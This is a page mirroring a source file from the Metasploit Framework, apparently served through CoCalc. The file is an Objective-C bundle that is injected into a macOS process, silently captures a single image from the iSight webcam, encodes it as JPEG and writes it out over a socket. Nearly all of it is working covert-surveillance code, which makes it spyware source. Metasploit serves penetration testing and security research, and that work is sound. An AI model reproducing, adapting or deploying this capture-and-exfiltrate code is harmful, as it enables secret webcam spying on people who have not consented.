CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/isight/main.m
Views: 11780
1
/**********************************************************************
2
* NAME
3
*
4
* isight -- An injectable bundle to capture an image from the
5
* attached iSight video camera.
6
*
7
* SYNOPSIS
8
* inject-bundle isight <pid>
9
* inject-bundle isight <cmd> [ <args> ... ]
10
* run-bundle isight
11
*
12
* DESCRIPTION
13
* This bundle is meant to be injected into a running or newly
14
* launched process by inject-bundle. It will capture a single
15
* image from the iSight video camera and store it as
16
* /tmp/isight.jpg.
17
*
18
* This bundle uses Tim Omernick's CocoaSequence Grabber from
19
* MacFUSE procfs.
20
*
21
* LICENSE
22
* Due to inclusion of GPL-licensed code, this bundle is also
23
* licended under the GNU Public License.
24
*
25
**********************************************************************/
26
27
#import "CocoaSequenceGrabber.h"
28
29
BOOL shouldKeepRunning = YES;
30
31
/*
32
* This delegate handles the didReceiveFrame callback from CSGCamera,
33
* which we use to convert the image to a JPEG.
34
*/
35
@interface CSGCameraDelegate : CSGCamera
36
{
37
CFMutableDataRef data;
38
}
39
40
/*
41
* Assign a CFMutableDataRef to receive JPEG image data
42
*/
43
- (void)setDataRef:(CFMutableDataRef)dataRef;
44
45
/*
46
* Convert captured frame into a JPEG datastream, stored in a CFDataRef
47
*/
48
- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;
49
50
@end
51
52
@implementation CSGCameraDelegate
53
54
- (void)setDataRef:(CFMutableDataRef)dataRef
55
{
56
data = dataRef;
57
}
58
59
- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;
60
{
61
// First, we must convert to a TIFF bitmap
62
NSBitmapImageRep *imageRep =
63
[NSBitmapImageRep imageRepWithData: [aFrame TIFFRepresentation]];
64
65
NSNumber *quality = [NSNumber numberWithFloat: 0.1];
66
67
NSDictionary *props =
68
[NSDictionary dictionaryWithObject:quality
69
forKey:NSImageCompressionFactor];
70
71
// Now convert TIFF bitmap to JPEG compressed image
72
NSData *jpeg =
73
[imageRep representationUsingType: NSJPEGFileType properties:props];
74
75
// Store JPEG image in a CFDataRef
76
CFIndex jpegLen = CFDataGetLength((CFDataRef)jpeg);
77
CFDataSetLength(data, jpegLen);
78
CFDataReplaceBytes(data, CFRangeMake((CFIndex)0, jpegLen),
79
CFDataGetBytePtr((CFDataRef)jpeg), jpegLen);
80
81
// Stop the camera and signal that we should exit the run loop
82
[aCamera stop];
83
shouldKeepRunning = NO;
84
}
85
86
@end
87
88
void run(int socket)
89
{
90
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
91
92
/*
93
* Use CocoaSequenceGrabber to capture a single image from the
94
* iSight camera and store it as a JPEG data stream in picture.
95
*/
96
CFMutableDataRef picture = CFDataCreateMutable(NULL, 0);
97
CSGCameraDelegate *delegate = [[CSGCameraDelegate alloc] init];
98
[delegate setDataRef:picture];
99
100
CSGCamera *camera = [[CSGCamera alloc] init];
101
[camera setDelegate:delegate];
102
[camera startWithSize:NSMakeSize(640, 480)];
103
104
/*
105
* Execute RunLoop until global flag is cleared
106
*/
107
NSRunLoop *theRL = [NSRunLoop currentRunLoop];
108
while (shouldKeepRunning && [theRL runMode:NSDefaultRunLoopMode
109
beforeDate:[NSDate distantFuture]]);
110
111
/*
112
* Write out picture to to socket
113
*/
114
if (socket > 0) {
115
size_t len = CFDataGetLength(picture);
116
write(socket, &len, sizeof(len));
117
write(socket, CFDataGetBytePtr(picture), len);
118
}
119
[pool release];
120
}
121
122